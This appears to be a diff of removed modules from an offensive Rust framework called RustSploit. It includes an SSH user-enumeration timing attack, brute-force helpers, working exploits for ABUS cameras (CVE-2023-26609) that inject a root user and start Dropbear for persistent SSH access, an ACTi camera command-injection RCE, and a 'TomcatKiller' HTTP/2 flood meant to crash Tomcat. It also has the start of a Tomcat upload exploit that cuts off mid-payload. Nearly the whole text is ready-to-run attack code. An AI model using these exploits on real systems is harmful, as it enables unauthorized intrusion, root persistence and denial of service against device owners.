let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
println!();
// Establish baseline with known-invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
return Vec::new();
}
};
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
let _ = std::io::Write::flush(&mut std::io::stdout());
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
println!();
println!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
valid_users
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false).await? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
println!();
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
println!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
println!("{}", format!("[+] Saved to: {}", output_path).green());
}
println!();
println!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
-3
View File
@@ -1,3 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
-119
View File
@@ -1,119 +0,0 @@
use std::sync::atomic::{AtomicU64, Ordering};
// use std::sync::Arc; // Removed unused import
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
unique_errors: Mutex<HashMap<String, usize>>,
}
impl BruteforceStats {
pub fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
unique_errors: Mutex::new(HashMap::new()),
}
}
pub fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
pub fn record_success(&self) {
self.record_attempt(true, false);
}
pub fn record_failure(&self) {
self.record_attempt(false, false);
}
pub fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
pub async fn record_error_detail(&self, msg: String) {
let mut guard = self.unique_errors.lock().await;
*guard.entry(msg).or_insert(0) += 1;
}
pub async fn record_error(&self, msg: String) {
// Increment error counter
self.record_attempt(false, true);
// Record detail
self.record_error_detail(msg).await;
}
pub fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
pub async fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
let errors_guard = self.unique_errors.lock().await;
if !errors_guard.is_empty() {
println!("\n{}", "Top Errors:".bold());
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
for (msg, count) in sorted_errors.into_iter().take(5) {
println!(" - {}: {}", msg.yellow(), count);
}
}
}
}
@@ -1,202 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result, Context};
use colored::*;
use md5;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
).cyan()
);
Ok(())
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Exploit mode selection:".cyan().bold());
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut choice = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice)
.await
.context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut fp = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut fp)
.await
.context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut cmd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd)
.await
.context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut pwd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pwd)
.await
.context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
return Err(anyhow!("Invalid choice"));
}
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,151 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
// CVE: CVE-2023-26609
// Variant 2 - Dropbear SSH Persistence with custom username
use anyhow::{Result, Context};
use colored::*;
use crate::utils::normalize_target;
use md5;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
// Use framework's normalize_target utility - removed custom implementation
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target)?;
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Response:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Response:\n{}", body).red());
}
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
print!("{}", "Enter username to inject: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut user = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut user)
.await
.context("Failed to read username")?;
let user = user.trim();
if user.is_empty() {
println!("{}", "[-] Username cannot be empty".red());
return Err(anyhow::anyhow!("Username cannot be empty"));
}
print!("{}", "Enter password (will be hashed): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut pass = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pass)
.await
.context("Failed to read password")?;
let pass = pass.trim();
if pass.is_empty() {
println!("{}", "[-] Password cannot be empty".red());
return Err(anyhow::anyhow!("Password cannot be empty"));
}
// Hash it!
let hash = generate_md5_hash(pass);
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
println!();
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!();
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
).cyan()
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
-2
View File
@@ -1,2 +0,0 @@
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
-125
View File
@@ -1,125 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Prompt for port
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd_input)
.await
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
-1
View File
@@ -1 +0,0 @@
pub mod acm_5611_rce;
@@ -1,201 +0,0 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().await.unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
async fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
tokio::io::stdout()
.flush()
.await
.ok()?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng())
.map(|s| s.to_string())
.unwrap_or_else(|| "u=0".to_string());
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -1,340 +0,0 @@
use anyhow::{bail, Context, Result};
use crate::utils::validate_command_input;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// Prompt helper with proper error handling
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buf = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buf)
.await
.context("Failed to read user input")?;
let input = buf.trim();
if input.is_empty() {
Ok(default.unwrap_or("").to_string())
} else {
Ok(input.to_string())
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
// Command is already validated before calling this function
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
